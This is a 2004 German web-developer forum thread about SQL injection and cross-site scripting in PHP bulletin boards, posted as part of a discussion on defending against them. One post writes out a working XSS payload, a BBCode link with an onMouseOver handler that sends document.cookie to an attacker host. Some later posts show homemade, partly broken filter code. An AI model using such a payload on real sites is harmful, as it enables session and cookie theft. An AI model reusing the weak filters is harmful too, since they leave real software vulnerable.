Zur Boardunity Forenstartseite
  1 links from elsewhere to this Post. Click to view. #1  
Alt 15.04.2004, 09:02
Benutzerbild von MaMo
Viscacha Coder
 
Registriert seit: 09.2003
Beiträge: 809

SQL-Injection - Links


Hi.

Da ich mich gerade damit befasse, bin ich über einige interessante Seiten zur SQL-Injection gestoßen. Wollte sie hier einfach mal aufschreiben, zum nachlesen. (Leider) bezieht sich das meiste auf PHP-Funktionen

Für alle die nicht wissen was SQL Injections sind: http://de.wikipedia.org/wiki/SQL_Injection

http://www.dclp-faq.de/q/q-sql-injection.html -> de.comp.lang.php.* FAQ (PHP)
http://www.securityfocus.com/infocus/1709 -> Security Focus
http://www.heise.de/security/artikel/43175 -> Heise Security
http://www.nukecops.com/postt14289.html -> NukeCops (PHP)
http://www.aspheute.com/artikel/20011030.htm -> ASP Heute Teil 1 (ASP)
http://www.aspheute.com/artikel/20011031.htm -> ASP Heute Teil 2 (ASP)

Hoffe Ihr könnt auch noch etwas beisteuern, evtl. wie Ihr es gemacht habt?!

MFG MaMo
__________________
Forensoftware mit integriertem CMS: Viscacha 0.8!
  #2  
Alt 15.04.2004, 09:35
Benutzerbild von Frederic Schneider
WoltLab Holzmichl
 
Registriert seit: 07.2003
Ort: Eschborn
Beiträge: 1.286
Danke, hab ich endlich ne Sammlung die ich meinem Freund geben kann, der sich für interessiert .

__________________
Frederic Schneider
WoltLab Team / WoltLab Wiki / GamePorts / Frederic Schneider / neuer-patriotismus.de
  #3  
Alt 15.04.2004, 11:27
Benutzerbild von Frederic Schneider
WoltLab Holzmichl
 
Registriert seit: 07.2003
Ort: Eschborn
Beiträge: 1.286
Zitat:
Zitat von ciruZ
Hm, ich versteh nicht, was einige fuer nen Aufstand darueber machen? Wenn man immer an mysql_real_escape_string / mysql_escape_string / addslashes denkt, hat man eigentlich kaum was zu befuerchten. Klar, XSS und Cookieklau bleibt, aber die SQL Injections ist man schonmal los.
... von den Funktionen bzw. Techniken wissen aber insg. nur wenige.

__________________
Frederic Schneider
WoltLab Team / WoltLab Wiki / GamePorts / Frederic Schneider / neuer-patriotismus.de
  #4  
Alt 15.04.2004, 11:28
Benutzerbild von Björn
Boardunity Team
 
Registriert seit: 10.2003
Ort: Rhode
Beiträge: 1.197
Naja ich will gerne genau wissen was für fehler das sind, die ich habe und nicht nur wissen wie ich die verhinder.

was is mit XSS bzw cookieklau gemeint?
mfg

__________________
Björn C. Klein
Welt-Held!
PunkRockNews.de
  #5  
Alt 15.04.2004, 12:18
Benutzerbild von exe
exe exe ist offline
titellos
 
Registriert seit: 07.2003
Ort: München
Beiträge: 888
XSS steht für Cross Site Scripting. Das heisst Benutzer A schleust auf einer Seite beispielsweise ein JavaScript ein welches auf einer anderen Seite Benutzer B wieder angezeigt wird (z.B. über Posts oder PNs in denen HTML nicht entschärft wird). Das JavaScript kann dann bei Benutzer B ein Login Cookie oder eine Session ID klauen und Benutzer A übermitteln.
Das wäre die gewöhnlichste Angriffsmethode via XSS. Gibts in einem Browser Sicherheitslücken kann man durch einschleusen von Scripts wie JavaScript oder JScript natürlich noch viel mehr anstellen
Die Lösung ist auch hier relativ einfach: Ausgaben müssen beispielsweise via htmlentities() entschärft werden und wenn man URL in einem Text verlinkt sollte man aufpassen das der reguläre Ausdruck der das bewerkstelligt nicht zufällig ein paar Anführungszeichen mit in den Link einbaut. Denn schon damit könnte man einfach Cookies klauen.
Ich sehe z.B. häufig Anfänger die [ url=...]...[/url] Tags folgendermaßen verlinken:

PHP-Code:
$text preg_replace('/\[url=(.*?)\](.*?)\[/url\]/i''<a href="\1">\2</a>'$text);[/url


Das Problem ist das man damit als URL einen beliebigen Text eingeben kann.
Angenommen ich schreibe folgenden Code:

Code:
[ url=" onMouseOver="document.location.href='http://angreifer.com/stealcookie.php?cookie=' + document.cookie]Danke für dein Cookie!
ergibt das folgenden Link:

Code:
<a href="" onMouseOver="document.location.href='http://angreifer.com/stealcookie.php?cookie=' + document.cookie">Danke für dein Cookie!</a>
Geht ein Benutzer dann mit der Maus über den Text gehört sein Cookie mir ...

  #6  
Alt 15.04.2004, 12:35
Benutzerbild von Björn
Boardunity Team
 
Registriert seit: 10.2003
Ort: Rhode
Beiträge: 1.197
aha
naja glaub xss ab ich verstanden
wegen dem URL
ich hab das so gelöst, dass es so ähnlich wie bei web.de über eine jump.php geht und mit urlencode() bearbeitet wird
mfg

__________________
Björn C. Klein
Welt-Held!
PunkRockNews.de
  #7  
Alt 16.04.2004, 08:15
Benutzerbild von MaMo
Viscacha Coder
 
Registriert seit: 09.2003
Beiträge: 809
Zitat:
Zitat von ciruZ
Hm, ich versteh nicht, was einige fuer nen Aufstand darueber machen? Wenn man immer an mysql_real_escape_string / mysql_escape_string / addslashes denkt, hat man eigentlich kaum was zu befuerchten. Klar, XSS und Cookieklau bleibt, aber die SQL Injections ist man schonmal los.
Und was machen die non-PHP Programmierer?
MfG MaMo

__________________
Forensoftware mit integriertem CMS: Viscacha 0.8!
  #8  
Alt 16.04.2004, 08:44
Mitglied
 
Registriert seit: 10.2003
Ort: Bottrop
Beiträge: 779
Im Notfall die Wirkung dieser Funktionen "nachahmen", oder gucken, ob es sie nicht auch in ihrer Sprache gibt.

@exe: Herzlichen Danke. Dieses (riesige) Sicherheitsloch war mir bislang nicht bewusst.
Hmm... da hab ich viele Lücken dieser Art... (bei Links ohne Beschreibung [bei denen mit hab ich`s seltsamerweise richtig gemacht...], bei IMG-Tags... aber gut. Danke dir. )

Wenn ich die RegExp nun so umformuliere:
`\[url=((http://|ftp://|https://)?(.*?))\](.*?)\[/url\]`is
sollte das Problem nicht bestehen, oder?

Wie kann ich ansonsten verhindern, dass Javascript, o.ä., in mein Script gelangt?
Ich mache es immer so, dass der Anwender meines Scripts von sich aus HTML in Einträgen (welcher Art nun auch immer) HTML aktivieren kann. Da ich aber dennoch nicht will, dass jemand mit solchen Sachen, wie von exe beschrieben, durchkommt muss ich mir wohl etwas einfallen lassen, wie ich sie verhindern kann.
Wäre es sinnvoll, generell alle "onXYZ" zu entfernen? Sowie alles, was mit JavaScript/JScript in zusammenhang steht?

__________________
Patrick Gotthardt
Patrick Gotthardt on Software
  #9  
Alt 16.04.2004, 11:24
Mitglied
 
Registriert seit: 10.2003
Ort: Bottrop
Beiträge: 779
Danke dir.

Direkte Script- und Style-Bereiche habe ich bisher immer entfernt.

Ich mache das allerdings so:
PHP-Code:
$str preg_replace('`<(script|style)`''&lt;\\1'$str); 
Bei deiner Variante könnte ich aber immernoch Javascript einbinden. (über das href-Attribut)

Dagegen hab ich das hier versucht:
PHP-Code:
        $str preg_replace('`javascript`i''& #106;& #97;& #118;& #97;& #115;& #99;& #114;& #105;& #112;& #116;'$str);
         
$str preg_replace('`vbscript`i''& #118;& #98;& #115;& #99;& #114;& #105;& #112;& #116;'$str);
         
$str preg_replace('`about`i',     '& #97;& #98;& #111;& #117;& #116;'$str); 
Bin mir allerdings nicht sicher, ob das was bringt.

So... hab jetzt eine Funktion fertig:
PHP-Code:
<?php
      
function makeSave($str) {
          
// The display will not change, it`s only saver (and not handled like Javascript and those - I hope it... ^^")
        
$str preg_replace('`javascript`i''& #106;& #97;& #118;& #97;& #115;& #99;& #114;& #105;& #112;& #116;'$str);
          
$str preg_replace('`vbscript`i''& #118;& #98;& #115;& #99;& #114;& #105;& #112;& #116;'$str);
         
$str preg_replace('`about`i',     '& #97;& #98;& #111;& #117;& #116;'$str);
          
// Lets change on*****- and style-Attributes as well
          
$str preg_replace('`(on[ a-z]+|style)=`''\\1=');
          
// Also lets replace <script and <style, `cause those could destroy your complete layout
          
$str preg_replace('`<(script|style)`''&lt;\\1'$str);
          
// Ready? Ok. Return it.
          
return $str;    
      }
  
?>
Das müsste doch nun bewirken, dass der Funktionsname erhoffen lässt, oder? "


Gibt es sonst noch risiken, die ich verringern muss?

Danke schonmal.

__________________
Patrick Gotthardt
Patrick Gotthardt on Software
  #10  
Alt 16.04.2004, 11:48
Mitglied
 
Registriert seit: 10.2003
Ort: Bottrop
Beiträge: 779
Ok.

1.) Wieso wird`s ganz ersetzt? Ich ersetze ja nur das "<" durch "&lt;".
2.) Ok. Ist ja wirklich einfacher. "
3.) Wieso? Die Ausgabe ändert sich da nicht. "

__________________
Patrick Gotthardt
Patrick Gotthardt on Software
  #11  
Alt 16.04.2004, 11:56
Mitglied
 
Registriert seit: 10.2003
Ort: Bottrop
Beiträge: 779
Ok. Danke dir.
Vorteil an der Variante ist sowieso, dass sie kürzer ist. "

__________________
Patrick Gotthardt
Patrick Gotthardt on Software
  #12  
Alt 16.04.2004, 12:37
Benutzerbild von exe
exe exe ist offline
titellos
 
Registriert seit: 07.2003
Ort: München
Beiträge: 888
Ich mache das bei mir so das Texte wie Posts vor dem Parsen der BB-Codes mit htmlentities() behandelt werden. Das stellt sicher das alle Zeichen, für die es eine HTML-Entitie gibt (also auch Umlaute und Anführungszeichen) entsprechend ersetzt werden.
Wenn ich dann später URLs im Text suche oder BB-Codes parse fällt diese Fehlerquelle schonmal weg, ausserdem prüfe ich beispielsweise URLs zusätzlich noch auf korrekte Syntax.
Ich würde auch nicht spezifisch auf JavaScript losgehen und alle Script-Tags und Event Handler aus dem Text entfernen. Das macht viel zu viel Aufwand und übersehen kann man immer was.

Zitat:
Wenn ich die RegExp nun so umformuliere:
`\[ url=((http://|ftp://|https://)?(.*?))\](.*?)\[/url\]`is
sollte das Problem nicht bestehen, oder?
Doch, das bringt dir nichts.
Ich kann immernoch einen Link wie [ url=http://" onmouseover="...]klick mich[/url] angeben. Die sichere Variante ist das Format der URL vom ersten bis zum letzten Zeichen überprüfen oder unerlaubte Zeichen von vornerein via htmlentities() zu entschärfen. Sobald du einen Platzhalter wie (.*?) in deinem Ausdruck hast kann man beliebige Zeichen einschmuggeln.

  #13  
Alt 16.04.2004, 16:44
Benutzerbild von exe
exe exe ist offline
titellos
 
Registriert seit: 07.2003
Ort: München
Beiträge: 888
Ich hab doch nichts anderes gesagt. htmlentities() ersetzt Zeichen durch ihre entsprechenden HTML-Entities so das sie normal angezeigt werden und keine Probleme im Text bereiten.
Oder auf was willst du hinaus?

  #14  
Alt 16.04.2004, 20:44
Benutzerbild von exe
exe exe ist offline
titellos
 
Registriert seit: 07.2003
Ort: München
Beiträge: 888
Was meinst du bitte mit "HTML an haben"? Und was soll dann möglich sein?
Erklär dich mal bitte, ich versteh kein Wort von dem was du sagst ...

  #15  
Alt 17.04.2004, 08:10
Benutzerbild von exe
exe exe ist offline
titellos
 
Registriert seit: 07.2003
Ort: München
Beiträge: 888
Ach so meinst du das ..
Nun, ich baue diese Funktion ("HTML aktivieren") nie in eine Software ein, weil ich sie ehrlich gesagt für Blödsinn halte. Ich habe einfach keine Lust für eine Funktion, die sowieso nur jemand benutzt der von Sicherheit keine Ahnung hat oder den sie nicht interessiert, unzählige potentielle Sicherheitslücken zu stopfen.
Wenn irgendwelche spezielle Darstellungen benötigt werden, wird dafür ein BB-Code zur Verfügung gestellt, fertig.
Würde ich die Möglichkeit, HTML zu aktivieren, zulassen, so würde ich auch dafür sorgen das keine Scriptinganweisungen in den Browser eingeschleust werden können.

Antwort


Stichworte
-

Themen-Optionen
Thema bewerten
Thema bewerten:

Forumregeln
Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.
Gehe zu

LinkBacks (?)
LinkBack to this Thread: http://boardunity.de/sql-injection-links-t1710.html
Erstellt von For Type Datum
PHP-FUSION Deutschland - Support Forum This thread Refback 25.03.2008 14:20

Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
XHTML 1.1 und Links Jan Stöver Programmierung und Datenbanken 24 24.03.2005 16:38
So schöne Links Gast Programmierung und Datenbanken 6 05.02.2005 06:44
Text pur aus einer SQL Extrahieren ? themaster Programmierung und Datenbanken 2 07.09.2004 10:32
interne links benennen ... solanum Web Design und Grafik 3 04.06.2004 15:19






1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24